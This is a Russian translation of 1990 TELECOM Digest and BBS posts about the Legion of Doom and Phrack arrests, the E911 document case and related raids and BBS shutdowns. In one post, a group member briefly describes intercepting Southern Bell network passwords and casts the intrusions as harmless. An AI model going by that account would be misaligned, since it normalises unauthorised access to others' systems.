X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 145, Message 6 of 6
```

...Только что получил свежие сведения о недавнем задержании Ментора федералами. Подумал, что вам будет интересно услышать нечто, насколько возможно при сложившихся обстоятельствах близкое к словам самого Ментора.

```
From: Daneel Olivaw #96 @5283
Date: Sun Mar 04 19:55:28 1990
```

Пока мне придётся говорить за Ментора — с его разрешения.

Если вы ещё не слышали слухов, вот правда.

В четверг (1/3/90) в 6:30 утра Ментор был разбужен дулом пистолета агента Секретной службы, направленным ему в голову. Сотрудники СС приступили к обыску и изъятию, продолжавшимся следующие 4,5 часа. Среди изъятого — AT-компьютер с жёстким диском на 80 Мб, принтер HP LaserJet II, различные документы и прочее имущество. Затем они отправились обыскивать его рабочий офис и изъяли находившиеся там компьютер и лазерный принтер. В суматохе пропал законченный роман (рукопись надо было сдать через 2 недели) и ряд других вещей.

По другую сторону города: те из вас, кто знает Эрика Кровавого Топора (Erik Bloodaxe), — его тоже разбудили и провели обыск в доме.

Никому из них обвинений пока не предъявлено, но оба ожидают, что их вызовут как минимум свидетелями на процесс по делу «ребят из Phrack» (Knight Lightning и Tarren King) в Чикаго 15 апреля.

По всей видимости, агенты сработали небрежно: они описали книгу, которую Ментор взял у меня («The Matrix» Куотермана), а потом забыли её забрать. Что ж...

Картина безрадостная. Также компьютерные системы Техасского университета находятся под *очень* пристальным наблюдением — их взламывают хакеры со всего мира, в том числе из Австралии и Англии.

ОМ

```
From: cosell@bbn.com (Bernie Cosell)
Newsgroups: comp.dcom.telecom
Subject: Keeping Copies of Illegal Things (was Re: Jolnet, Again)
Message-ID: <4725@accuvax.nwu.edu>
Date: 4 Mar 90 04:36:50 GMT
Sender: news@accuvax.nwu.edu
Organization: TELECOM Digest
Lines: 52
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 143, Message 3 of 8
```

> *TELECOM Digest Сб, 3 Mar 90 20:45:00 CST Специальный выпуск: Jolnet, ещё раз*

Это не misc.legal, и сейчас не время придираться по мелочам, но всё же:

> *Вот как он изложил историю с «программным обеспечением для системы 911»: Программа появилась на его системе почти два года назад. Она пришла с netsys, где системным администратором был Лен Роуз. По словам Эндрюса, когда он увидел этот файл и понял, что это такое, единственно правильным было «передать его в соответствующие органы как можно скорее»...*
> *«После того как вы передали файл Бойкину, вы уничтожили его у себя?»*
> *«Ну... нет. Я тоже оставил копию.»*

По-моему, это ключевая оплошность — независимо от добрых намерений.

> *Но затем, рассказал Эндрюс, несколько месяцев спустя произошло нечто странное. Люди из AT&T вместо того, чтобы поблагодарить за возврат программы, снова обратились к Эндрюсу и — по его словам — «попросили её ещё раз». То ли они так и не получили её в первый раз, то ли получили, но подозревали, что копии ещё ходят, то ли просто запутались.*

Именно так. И если бы Эндрюс *предоставил* ещё одну копию, я уверен, они бы расценили это как весомое доказательство того, что файл действительно распространялся — и с ведома Эндрюса. Я знаю, что они прямо не требовали от него уничтожить все копии, но его действия недвусмысленно свидетельствовали о том, что он прекрасно понимал, с чем имеет дело. Думаю, они с лёгкостью могли бы доказать, что он был обязан поступить с материалом осмотрительно, — иначе [это лишь моё предположение] он рисковал оказаться в роли соучастника после совершения преступления.

> *Так около года назад его вызвали федералы, и именно тогда он решил, что в его интересах — сотрудничать с любым ведущимся расследованием.*

Возможно, его внезапное сотрудничество объяснялось не столько угрызениями совести, сколько чем-то иным... [без умысла чернить его репутацию — лишь хочу отметить, что звонок ФБР с пояснением, что хотя вы, возможно, ничего незаконного и не *делали*, ваши действия *могут* завести вас в суд с весьма серьёзными последствиями — и никакой нефропробной мути о технических тонкостях BBS-ок, а самая что ни на есть мейнстримная правовая ответственность — вполне может убедить озабоченного, но не вовлечённого гражданина стать активным помощником следствия].

/Bernie\

```
From: dattier@chinet.chi.il.us (David Tamkin)
Newsgroups: comp.dcom.telecom
Subject: Seizures Spreading
Message-ID: <4724@accuvax.nwu.edu>
Date: 4 Mar 90 05:55:20 GMT
Sender: news@accuvax.nwu.edu
Organization: TELECOM Digest
Lines: 15
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 143, Message 2 of 8
```

По имеющимся сведениям, BBS Illuminati — система, которую содержит некая компания Steve Jackson Games где-то в Техасе, — также была закрыта, а её оборудование изъято федеральным правительством: среди пользователей системы оказались двое подозреваемых членов Legion of Doom.

[Примечание редактора: Полагаю, облавы продолжатся в течение следующих недель. Интересно, кто следующий? Каждое место, которое они обыскивают, порождает волну взаимных доносов — местные взломщики тычут пальцами друг на друга, как нашкодившие дети, и чтобы выглядеть «хорошими», говорят: «А вы уже разговаривали с таким-то?» Итак: netsys, jolnet, attctc, illuminati, (ваше имя здесь?)... По всей видимости, даже избавление от улик уже не поможет, если кто-то выше по цепочке уже настучал. PT]

```
From: mosley@peyote.cactus.org (Bob Mosley III)
Newsgroups: comp.dcom.telecom
Subject: Austin, TX BBS Shut Down From Joinet Bust Fallout
Message-ID: <4723@accuvax.nwu.edu>
Date: 4 Mar 90 17:22:26 GMT
Sender: news@accuvax.nwu.edu
Organization: Capital Area Central Texas Unix Society, Austin, TX
Lines: 28
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 143, Message 1 of 8
```

Эта новость облетела большинство BBS Остина в четверг. По имеющимся данным, арест состоялся в среду утром. Вкратце, вот что произошло:

В среду утром, 28 февраля, офисы Steve Jackson Games, Inc., были обысканы агентами ФБР и Секретной службы. Заведение было закрыто, все компьютерные системы, включая BBS Illuminati, — конфискованы.

В ходе обысков был арестован «вышедший на пенсию» член LoD, известный под ником «The Mentor». По имеющимся сведениям, предъявленные ему обвинения связаны с недавним делом о системе 911, из-за которого были закрыты jolnet и attctc (или как там раньше называлось Killer). Его домашний компьютер конфискован вместе с полной коллекцией выпусков Phrack и сопутствующими материалами.

На момент написания этих строк Ментор, по имеющимся данным, находится под залогом — без системы и сетевого подключения. BBS Illuminati по-прежнему недоступна, хотя SJ Games возобновила работу, и никому из сотрудников компании, кроме Ментора, обвинения не предъявлены. Изъятые у SJ Games системы на момент написания этих строк не возвращены.

Наконец, ранним утром в субботу (3/4) поступили слухи о том, что два BBS в Далласе, три в Хьюстоне и один в Сан-Антонио были закрыты теми же органами в рамках того же дела.

[Учитывая опубликованную Ментором защиту LoD, я подумал, что вам это будет интересно! — OM]

```
From: telecom@eecs.nwu.edu (TELECOM Moderator)
Newsgroups: comp.dcom.telecom
Subject: Jolnet, Again
Message-ID: <4701@accuvax.nwu.edu>
Date: 4 Mar 90 02:45:00 GMT
Sender: news@accuvax.nwu.edu
Organization: TELECOM Digest
Lines: 350
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Special: Jolnet, Again

TELECOM Digest     Сб, 3 Mar 90 20:45:00 CST    Специальный выпуск: Jolnet, ещё раз
Темы сегодняшнего выпуска:                       Редактор: Патрик Таунсон
    Re: Исходный код AT&T: яд! (Chip Rosenthal)
    Изъятие Jolnet (Mike Riddle)
    Статья о JOLNET/e911/LoD/Phrack (Ben Rooney)
    Разговор с Ричем Эндрюсом (редактор TELECOM)
    Killer/attctc закрыт навсегда (Charlie Boykin)
----------------------------------------------------------------------

From: Chip Rosenthal <chip@chinacat.lonestar.org>
Subject: Re: AT&T Sourcecode: Poison!
Date: 3 Mar 90 00:00:00 GMT
Organization: Unicom Systems Development, Austin (yay!)
```

[Примечание редактора: Исходная дата 2/25 изменена во избежание преждевременного истечения срока. PT]

Вы, Патрик, проявляете немалую дерзость.

telecom@eecs.nwu.edu (TELECOM Moderator) пишет:

> *Нам сообщает некий «глубокий источник», что AT&T не на шутку раздражена из-за своего программного обеспечения [...] Как и jolnet, netsys внезапно ушла в офлайн с конфискацией всего оборудования [...] А теперь стало известно, что attcdc [sic], бывший killer, также срочно отключился...*

Нет, Патрик, с учётом всех ваших жалоб на то анонимное сообщение от Legion of Doom — это уж совсем скверно публиковать. Опираясь на неатрибутированные разговоры, вы намекаете, что Лен Роуз и Чарли Бойкин были причастны к нарушениям закона, повлёкшим закрытие их систем.

Лично я Лена не знаю, но в прошлом у нас были uucp-соединения. Чарли же я знаю лично. Он пользуется весьма высокой репутацией в районе Далласа/Форт-Уэрта и был признан «Лучшим администратором DFW 1989 года» по версии DFW-«бранч-банч»... то есть Ассоциации системных администраторов Unix DFW.

Вы бросили в адрес этих людей весьма скверные обвинения. Поскольку я их знаю, я подожду, пока появятся факты. Те же, кто их не знает, вполне могут поспешить с выводами на основании вашей публикации.

Была ли эта заметка действительно нужна?

```
Chip Rosenthal                          |  Yes, you're a happy man and you're
chip@chinacat.Lonestar.ORG              |  a lucky man, but are you a smart
Unicom Systems Development, 512-482-8260  |  man?  -David Bromberg
```

```
Date: Wed, 28 Feb 90 21:38:39 EST
From: Mike Riddle <Mike.Riddle@p6.f666.n5010.z1.fidonet.org>
Subject: Jolnet Seizure
Reply-to: Mike.Riddle@p6.f666.n285.z1.fidonet.org
```

```
Organization: DRBBS Technical BBS, Omaha, Ne. 402-896-3537
```

Предпринимал ли кто-нибудь нетривиальный правовой подход к делу об изъятии оборудования в качестве «улики»? Насколько я помню, Закон об электронной конфиденциальности коммуникаций содержит конкретные процедуры, по которым органы власти могут получить копии/распечатки данных с системы (которая, возможно, использовалась в незаконных целях, но оператор которой в данный момент не является обвиняемым). Отсюда, думаю, грамотный адвокат мог бы выстроить аргумент о том, что национальная политика была направлена не на изъятие оборудования, а лишь на получение всей содержащейся на нём информации. В конце концов, именно данные причинили какой-либо ущерб.

Кроме того, Федеральные правила доказывания и аналогичные нормы большинства штатов предусматривают, что копии, сгенерированные компьютером, являются «оригиналами» в доказательственных целях.

Надеюсь, кто-то, кто достаточно близко к событиям, будет держать нас в курсе.

{стандартный дисклеймер — не обращайте на меня внимания!}

```
 --- Ybbat (DRBBS) 8.9 v. 3.07 r.1
* Origin: [1:285/666.6@fidonet] The Inns of Court, Papillion, NE  (285/666.6)
 --- Through FidoNet gateway node 1:16/390
 Mike.Riddle@p6.f666.n5010.z1.fidonet.org
```

```
From: brooney@sirius.uvic.ca
Date:  3 Mar 90  2:36 -0800
Subject: Article Regarding JOLNET/e911/LoD/Phrack
```

Ниже приводится статья, которую я получил пять дней назад. По моим сведениям, она содержит информацию, касающуюся текущей дискуссии о JOLNET/e911/LoD, ещё не опубликованную в comp.dcom.telecom. Она напечатана в еженедельном журнале с датой выхода 27 февраля, но когда именно произошли описанные в ней события, я точно не знаю.

— Ben Rooney

СТУДЕНТ ИЗ МИССУРИ ЗАЯВИЛ О СВОЕЙ НЕВИНОВНОСТИ ПО ОБВИНЕНИЯМ, СВЯЗАННЫМ С 911

[Knight Lightning], 19-летний студент Университета штата Миссури, заявил о своей невиновности по федеральным обвинениям во вторжении в аварийную телефонную сеть 911, охватывающую 9 штатов.

Как сообщалось ранее, в этом месяце он был привлечён к ответственности вместе с [The Prophet], 20 лет, из Декейтура, штат Джорджия. Оба обвиняются в межштатной перевозке похищенного имущества, мошенничестве по телеграфным сетям и нарушениях Федерального закона о компьютерном мошенничестве и злоупотреблениях 1986 года.

По версии обвинения, двое использовали компьютеры для проникновения в систему 911 Atlanta's Bell South, а затем скопировали программу, управляющую и обслуживающую эту систему. Впоследствии похищенный материал якобы был опубликован на компьютерной доске объявлений, работавшей в чикагском пригороде Локпорт. Власти утверждают, что Нейдорф редактировал данные для электронного издания под названием Phrack.

По сообщению автора Associated Press Сары Нордгрен, на недавнем слушании по делу помощник прокурора США Уильям Кук добился отклонения ходатайства о включении программы 911 в материалы публичного судебного разбирательства. Судья федерального суда Николас Буа назначил судебное заседание на 16 апреля.

Система 911, о которой идёт речь, контролирует экстренные вызовы полиции, пожарных, скорой помощи и экстренных служб в городах Алабамы, Миссисипи, Джорджии, Теннесси, Кентукки, Луизианы, Северной Каролины, Южной Каролины и Флориды.

```
                    ---------------------------------------
              Статья из «A Networker's Journal» Чарльза Боуэна.
                        Info-Mat Magazine (Vol. 6, No. 2)
```

[Примечание редактора: {Info-Mat Magazine} — превосходный электронный журнал, распространяемый через многочисленные BBS по всей территории США, которым посчастливилось быть включёнными в сеть распространения журнала. Лично я хотел бы, чтобы он был доступен и в Usenet: он хорошо написан и весьма информативен. PT]

```
Date: Sat, 3 Mar 90 19:34:54 CST
From: TELECOM Moderator <telecom@eecs.nwu.edu>
Subject: A Conversation With Rich Andrews
```

После того как здесь появились первые статьи об изъятии Jolnet и о предъявленных нескольким людям обвинениях в причастности к краже «программного обеспечения для системы 911», я получил различные ответные сообщения от других людей. Одни были опубликованы, другие стали лишь личной перепиской. Сообщение от Чипа Розенталя было отложено — оно включено в этот специальный выпуск.

Один из авторов, чьи комментарии были приписаны «Глубокой Глотке», дважды участвовал в телефонных конференциях между ним, Дэвидом Тамкиным и мной.

Чего не хватало в нескольких сообщениях, появившихся за прошлую неделю, — так это комментариев Рича Эндрюса, системного администратора Jolnet. Я получил записку от кого-то из Канады: он сообщил, что Эндрюс хочет поговорить со мной, и дал номер телефона, по которому можно застать Эндрюса по месту работы.

Я позвонил ему — Дэвид Тамкин был на второй линии — и провёл с Эндрюсом долгую беседу; он знал, что Дэвид тоже на линии. Я спросил, есть ли у Эндрюса какой-либо доступ к сети — хотя бы терминал с модемом и аккаунт на каком-нибудь хосте, с которого можно пересылать почту в telecom. Дело в том, что я считал и по-прежнему считаю крайне важным включить Рича Эндрюса в любое здесь обсуждение.

Он заверил меня, что у него есть аккаунт на одной чикагской машине и что ответ поступит в течение нескольких часов. Следующим утром у нас состоялся второй разговор — уже без Дэвида на линии. Эндрюс снова сообщил, что его ответ на несколько статей в Дайджесте будет готов «очень скоро» и уйдёт по почте. Это было в среду утром; мы предполагали, что его сообщение придёт в тот же день — уж точно к полуночи, когда я обычно готовлю очередной выпуск Дайджеста.

Полночь пришла и прошла — сообщения не было. Не пришло оно ни в четверг, ни в пятницу. Я намеренно воздерживался от дальнейших комментариев в надежде включить его ответ одновременно. Видимо, теперь придётся обойтись без него.

Когда мы с Дэвидом Тамкиным разговаривали с ним в первый раз — в прошлый вторник вечером — первое, что сказал Эндрюс после обычных приветствий и светских разговоров, было:

«Я сотрудничаю с ними уже больше года. Полагаю, вы об этом знаете.»

Мы попросили уточнить, кто такие «они». Он ответил, что «они» — это Секретная служба Соединённых Штатов и Федеральное бюро расследований. И он сказал это, не дожидаясь нашего вопроса.

Мы попросили его рассказать об обыске в его доме в начале февраля. Он сказал, что агенты пришли в ту субботу днём с ордером и забрали всё как «вещественные доказательства» для

уголовного преследования.

«Если вы так долго работали с ними и сотрудничали, почему они забрали ваше имущество?»

«Они хотели убедиться, что оно будет в сохранности и ничего не будет уничтожено.»

«Но если нужно было просто сохранить файлы, вы могли бы временно отключить Jolnet на несколько недель или месяцев, вытащив модемы из телефонных розеток, не так ли? А потом подключиться, когда понадобится позвонить — вам или доверенному лицу.»

«Они сочли, что лучше забрать всё с собой. Главным образом ради видимости. Мне ничего не предъявляют.»

«Странный способ обращения с добровольным помощником — по крайней мере с тем, кто сам не в глубокой луже.»

Он признал нам, что у нескольких взломщиков были аккаунты на Jolnet — с его ведома и согласия, и что всё это было частью идущего расследования, в котором он участвовал.

Вот как он изложил историю с «программным обеспечением для 911»:

Программа появилась на его системе почти два года назад. Она пришла с netsys, где системным администратором был Лен Роуз. По словам Эндрюса, когда он увидел этот файл и понял, что это такое, единственно правильным было «передать его в соответствующие органы как можно скорее»: он решил сделать это, переслав файл на машину, которая тогда называлась killer, она же attctc, где Чарли Бойкин был системным администратором.

По словам Эндрюса, он отправил файл Бойкину с просьбой передать его нужным людям в AT&T.

«После того как вы передали файл Бойкину, вы уничтожили его у себя?»

«Ну... нет. Я тоже оставил копию.»

«Передал ли Чарли Бойкин файл в AT&T, как вы просили?»

«Я полагаю, что да.»

Но затем, рассказал Эндрюс, несколько месяцев спустя произошло нечто странное. Люди из AT&T вместо того, чтобы поблагодарить за возврат программы, снова обратились к Эндрюсу и — по его словам — «попросили её ещё раз». То ли они так и не получили её в первый раз, то ли получили, но подозревали, что копии ещё ходят, то ли просто запутались.

Так около года назад его вызвали федералы, и именно тогда он решил, что в его интересах — сотрудничать с любым ведущимся расследованием.

Эндрюс подчеркнул, что «программное обеспечение для 911» — это «лишь... небольшая часть того, о чём идёт речь...» По его словам, ходила и другая проприетарная информация, которой в открытом обороте быть не должно. Он также сообщил, что федералов особенно беспокоит большое число взломов компьютерных систем за прошедший год или около того. По его словам, за этот год произошли буквально «тысячи... попыток взломать сайты», и часть его сотрудничества с органами власти касалась именно этой информации.

Мы спросили его о killer/attctc:

«Разумеется, вам известно, что killer примерно неделю назад внезапно ушёл в офлайн. Что стало причиной? Это случилось примерно через неделю после того, как федералы обыскали вас в ту субботу.»

«Ну, официальная причина, названная AT&T, — нехватка средств. Но вы же понимаете, как оно бывает...»

Казалось бы, если это проблема финансирования — если представить, что у AT&T не нашлось мелочи в корпоративном кармане на оплату электричества и телефонных линий для attctc (Чарли

не получал за это никакой зарплаты) — то следовало бы ожидать по меньшей мере упорядоченного завершения работы: объявление в сети, возможность обновить маршрутные таблицы для почты и новостей, какая-то объявленная дата закрытия — ну хоть 1 марта, 1 апреля, конец финансового года...

Но нет — бах-бум, один день работает, на следующий исчез.

«Что вам известно о временной приостановке работы killer некоторое время назад? Что это было такое?»

«Это связано с безопасностью. AT&T Security тогда проверяла Чарли и некоторых пользователей.»

Эндрюс назвал предыдущее закрытие killer «настоящей оплошностью AT&T», но мне неясно, почему он так считает.

В конце разговора Эндрюс заметил, что «сейчас там происходит очень много всего».

По его словам, распространение журнала [Phrack] через netsys, attctc и jolnet находится под пристальным наблюдением. «Один из способов добраться до них (взломщиков) — закрыть сайты, которые они используют для распространения материалов...»

И теперь, уважаемый читатель, вы знаете всё, что знаю я. Ну, почти всё...

Из других источников нам известно, что Лен Роуз из netsys был в серьёзных проблемах с законом *ещё до* этого последнего скандала. Насколько серьёзных? Настолько, что он собирался бросить всё и уехать на другой конец света? Настолько, что его остановили прямо на шоссе, когда он ехал в машине, и взяли под стражу? Достаточно серьёзных? Этот последний эпизод лишь усугубил его юридические проблемы.

Патрик Таунсон

```
Date: Fri Mar  2 06:59:23 1990
From: Charlie Boykin <cfb@sulaco.sigma.com>
Subject: Killer/attctc Is Permanently Down
```

Здравствуйте.

По нескольким вопросам, а также в связи с сообщением от Билла Хаттига.

Система действительно была закрыта несколько лет назад — на три недели — в рамках расследования по вопросам безопасности. С тех пор она работала непрерывно. 4 июля 1989 года она была перенесена в Демонстрационный центр для клиентов Dallas Infomart, и узел получил новое название — attctc (AT&T Customer Technology Center). Система прекратила работу 20 февраля 1990 года после 5 лет эксплуатации. Никаких обвинений нет, а «руководство» системы формально освобождено от каких-либо обвинений в незаконной деятельности.

На данный момент никаких намерений возобновлять работу системы нет. Существуют обнадёживающие планы и предложения, которые теоретически могут привести к возобновлению работы системы в иной среде и под иным руководством.

```
С уважением,
Charles F. Boykin
Бывший sysop\@attctc (killer)
```

```
End of TELECOM Digest Special: Jolnet, Again
*****************************
```

ПРЕДПОЛАГАЕМЫМ ХАКЕРАМ ПРЕДЪЯВЛЕНЫ ОБВИНЕНИЯ В КРАЖЕ ДАННЫХ СИСТЕМЫ 911

Дон Бюшо, помощник редактора

Четырём предполагаемым компьютерным хакерам на прошлой неделе было предъявлено обвинительное заключение по обвинению в сговоре с целью похищения и публикации проприетарных данных службы экстренной помощи корпорации BellSouth. По заявлению федеральных чиновников, их предполагаемая деятельность могла бы привести к сбоям в работе сетей 911 по всей стране.

Это дело может поднять новые вопросы о безопасности внутренних компьютерных сетей местных операторов связи, в которых хранятся записи о клиентах, оборудовании и операциях.

«Безопасность всегда была заботой телефонных компаний, — заявил Питер Бернштейн, аналитик Probe Research. — Если можно взломать систему 911, что это говорит об операционной поддержке или о системе расчётов с клиентами?»

Федеральное большое жюри в Чикаго вынесло два обвинительных заключения — в отношении [The Prophet], 20 лет, из Декейтура, штат Джорджия, и [Knight Lightning], 19 лет, из Честерфилда, штат Миссури, — по обвинению в мошенничестве по проводным сетям, нарушениях Закона о компьютерном мошенничестве 1986 года и межштатной перевозке похищенного имущества.

Аналогичным уголовным обвинениям в Атланте подвергаются [The Urvile], 22 года, и [The Leftist], 23 года.

Все четверо, предположительно входящие в тесно сплочённую группу хакеров, именующих себя Legion of Doom, участвовали, по имеющимся данным, в схеме по краже данных BellSouth 911, оценённых в 80 000 долларов, и их публикации в хакерском журнале «Phrack».

Legion of Doom, по имеющимся данным, известен тем, что проникает в коммутаторы центральных офисов телефонных компаний для переадресации звонков, кражи компьютерных данных и передачи информации о доступе к компьютерам другим хакерам.

Согласно чикагскому обвинительному заключению, XXXXX, известный также как «The Prophet», похитил копию программы BellSouth 911, воспользовавшись компьютером вне компании для проникновения в её систему. Риггс затем якобы передал данные на компьютерную доску объявлений в Локпорте, штат Иллинойс.

XXXXXXX, известный также как «Knight Lightning», по имеющимся данным, скачал информацию на свой компьютер в Университете Миссури в Колумбии, где отредактировал её для публикации в хакерском журнале — так говорится в обвинительном заключении.

В обвинительном заключении также утверждается, что хакеры раскрыли похищенные сведения о работе усовершенствованной системы 911 другим хакерам, с тем чтобы те могли незаконно получить к ней доступ и потенциально нарушить или полностью вывести из строя другие системы по всей стране.

Обвинительные заключения стали результатом годичного расследования, по словам прокурора США Айры Рафаэльсона. В случае осуждения предполагаемым хакерам грозит от 31 до 32 лет лишения свободы и штрафы на сумму 122 000 долларов.

Представитель BellSouth заявил, что собственная система безопасности компании обнаружила вторжение, произошедшее около года назад, после чего компания уведомила федеральные органы.

Хакерские вторжения в сеть BellSouth — редчайшее явление, добавил представитель компании, указав, что компания поддерживает «жёсткое законодательство в этой сфере».

Обвинительное заключение вызвало озабоченность уязвимостью публичных сетей к компьютерному взлому.

```
From: MM02885@swtexas.bitnet
Newsgroups: comp.dcom.telecom
Subject: Re: Hacker Group Accused of Scheme Against BellSouth
Message-ID: <4153@accuvax.nwu.edu>
Date: 20 Feb 90 11:16:00 GMT
Sender: news@accuvax.nwu.edu
Organization: TELECOM Digest
Lines: 95
Approved: Telecom@eecs.nwu.edu
X-Submissions-To: telecom@eecs.nwu.edu
X-Administrivia-To: telecom-request@eecs.nwu.edu
X-Telecom-Digest: Volume 10, Issue 118, message 3 of 6

               <<< SYS$ANCILLARY:[NOTES$LIBRARY]GENERAL.NOTE;1 >>>
                            -< General Discussion >-
================================================================================
Note 155.6                  the MENTOR of the tree tops                  6 of 6
SWT::RR02026 "Ray Renteria [ F L A T L I N E ] "   89 lines  20-FEB-1990 00:18
                          -< Life, The Universe, & LOD >-
```

Чтобы восстановить справедливость — от члена LOD, студента в Остине, чей компьютерный аккаунт в UT был запрошен прокурором из Чикаго в связи с вышеупомянутыми событиями:

Меня зовут Крис. Но в компьютерном мире я — Эрик Кровавый Топор (Erik Bloodaxe). Я состою в группе под названием Legion of Doom с момента её создания, и признаю, что был не самым законопослушным пользователем компьютеров. Но когда люди начинают намекать на мои якобы действия в интересах коммунистов и утверждать, что я участвую во всемирном заговоре с целью уничтожить компьютерную сеть страны и/или систему 911, — я вынужден высказаться и надеяться, что люди отнесутся к моим словам серьёзно.

Фрэнк, Роб и Адам определённо занимались очень серьёзными системами. У них был фактически полный контроль над пакетной сетью, принадлежащей Southern Bell (SBDN). Через эту сеть они имели доступ к каждому компьютеру, которым владела Southern Bell, — от терминалов COSMOS до интерфейсов LMOS. Southern Bell не догадалась запретить соединения с одного публичного PAD на другой, что позволяло любому желающему подключиться к сети и перехватить информацию у любого другого пользователя этой же сети — так они получили аккаунты и пароли к множеству систем.

Вот тут-то в игру и вступила система 911. Не знаю, контролировала ли эта система всю сеть 911 Southern Bell или там просто разрабатывалось соответствующее программное обеспечение — я сам никогда на ней не бывал. Так или иначе, кто-то из троицы вытащил с неё файлы для изучения. Обычная стандартная процедура: залезаешь на систему, ищешь интересные тексты, буферизуешь их и, может быть, распечатываешь на память. Ни один член LOD никогда (насколько мне известно) не взламывал чужую систему и не использовал полученную информацию для личной наживы — разве что для серьёзной прибавки к репутации в андеграунде. Роб взял документацию по системе и написал о ней файл. Таких файлов на самом деле два: один — обзор, другой — глоссарий. (У Рэя есть тот выпуск PHRACK с этими файлами.) Информация, в общем-то, такова, что извлечь из неё что-либо, кроме знаний о работе определённого аспекта телефонной компании, практически невозможно.

Legion of Doom раньше издавал электронный журнал под названием LOD Technical Journal. Это издание было в общем-то заброшено по нашей собственной лени. PHRACK — другое издание подобного рода, которое рассылалось нескольким сотням людей через Internet и широко распространялось по доскам объявлений по всей территории США. Роб отправил файлы в PHRACK, чтобы информация была прочитана. Одним из редакторов PHRACK, получивших эти

файлы, оказался Крейг. Отправь Роб файлы на адрес выше, в беде оказался бы Рэнди. Так или иначе, Крейг, хотя, возможно, и подозревал, не мог знать наверняка, что файлы являются проприетарными и были похищены с компьютера Southern Bell.

Трёх атлантских участников взяли после того, как на их линиях шесть месяцев прослушивали голос и данные. Людей из Phrack не арестовали — только допросили, а Крейг был привлечён к ответственности позже.

Мне непонятно, почему именно Роб и Крейг фигурируют чаще других. Оба были на испытательном сроке за другие инциденты и теперь, вероятно, окажутся за решёткой из-за его нарушения. Фрэнк и Адам до сих пор не знают, что происходит с их делами — по крайней мере, на последний момент, когда я с ними разговаривал.

Вся эта облава началась с того, что на кого-то другого устроили налёт, и он слил крупнейшие имена, которые только мог придумать, чтобы облегчить свою участь. С тех пор г-н Уильям Кук, прокурор в Чикаго, сделал делом своей жизни избавление мира от напасти LOD. Три ареста в Атланте, ещё два ареста LOD в Нью-Йорке и теперь — мой судебный вызов.

Люди никак не могут смириться с тем, что группа двадцатилетних ребят знает чуть больше, чем они, и вместо того чтобы использовать нас с пользой, предпочитают упрятать нас за решётку и продолжать упускать то, что проходит мимо них. Я уже говорил это раньше: ты не остановишь грабителей, если оставляешь двери незапертыми и просто лупишь их бейсбольной битой по голове, когда они входят. Нужно запирать дверь. Но когда ты оставляешь двери открытыми и при этом сажаешь людей, которые могут их закрыть, — другой грабитель просто войдёт.

Кто хочет узнать что-либо о происходящем или поделиться мнениями непосредственно со мной — пишите:

erikb@walt.cc.utexas.edu

но мой аккаунт прослушивается, так что не задавайте ничего слишком откровенного.

->ME

Итак, некоторые из вас, возможно, уже знают, что людей, издававших Phrack, недавно арестовали. До сих пор подробностей было мало, но кое-что начинает появляться в новостях.

[Перепечатано без разрешения из Milwaukee Journal от среды, 7 февраля]

Чикаго, штат Иллинойс — AP — Компьютерный хакер проник в аварийную телефонную сеть 911, охватывающую девять южных штатов, а другой злоумышленник передал данные доступа другим хакерам, заявили власти.

[The Prophet], 20 лет, из Декейтура, штат Джорджия, и [Knight Lightning], 19 лет, из Честерфилда, штат Миссури, были привлечены к ответственности федеральным большим жюри и обвинены в компьютерных преступлениях, сообщил исполняющий обязанности прокурора США Айра Рафаэльсон.

По его словам, Риггс являлся членом так называемой группы хакеров Legion of Doom, члены которой причастны к многочисленным незаконным действиям.

Риггс и ещё двое предполагаемых участников группы также были привлечены к ответственности в Атланте по обвинению в иных компьютерных взломах.

Правительство не раскрыло, были ли нарушены какие-либо экстренные вызовы и нанесён ли иной ущерб в ходе несанкционированного вмешательства.

```
Name: The Prophet #104
Date: Tue Feb 06 23:55:15 1990
```

Представьте, что вы глухи, немы, слепы и парализованы от шеи вниз — совершенно лишены возможности воспринимать или общаться с окружающим миром. Как долго вы сохраняли бы рассудок? Многие ли из вас предпочли бы умереть? Многие ли думают, что смогли бы найти в себе силы создать собственный маленький мир разума, чтобы прожить в нём остаток жизни, — и как долго, по-вашему, больница ждала бы, прежде чем избавить вас от страданий?

— The Prophet

```
Name: The Mentor #1
Date: Sat Jan 20 02:58:54 1990
```

Что ж, журнал Phrack мёртв. Те из вас, кто следит за BITNET, знают, что аккаунты phrack в Университете Миссури закрыты. История такова...

Государственные агенты (ведомство точно неизвестно, скорее всего, Секретная служба), судя по всему, какое-то время читали электронную почту ребят из Phrack (Knight Lightning и Taran King). По всей видимости, часть файла, присланного им (и впоследствии опубликованного), содержала материал, защищённый авторским правом. Этого оказалось достаточно. Теперь они изъяли весь список рассылки Phrack (более 500 аккаунтов), а также каждую крупицу информации, которая была у Рэнди и Крейга (а её у них *очень* много) о настоящих именах, адресах и телефонных номерах.

Всё это вытекает непосредственно из арестов трёх членов LOD (Urvile, Leftist и Prophet). The Prophet (который условно осуждён) находится под угрозой тюремного срока, если не пойдёт на сотрудничество. Мы не знаем наверняка, согласился ли он — но что бы вы сделали на его месте?

Те же органы, судя по всему, *очень* интересуются нашим сооператором, г-ном Bloodaxe. За его сетевым аккаунтом наблюдают и т. д. Пусть он сам расскажет историю.

[только для борды.] В течение следующих 2 недель я добавлю защищённую (и я имею в виду чертовски защищённую) процедуру шифрования в электронную почту — я ещё не решил, как именно реализовать её, но она позволит двум людям обмениваться зашифрованной почтой с паролем, известным только им двоим. Хм... перенесём этот разговор на программную борду.

В любом случае, я не думаю, что меня должны арестовать — но, с другой стороны, я только веду борду. Хотя такая вероятность существует. Я исхожу из того, что все мои линии прослушиваются, пока не доказано обратное.

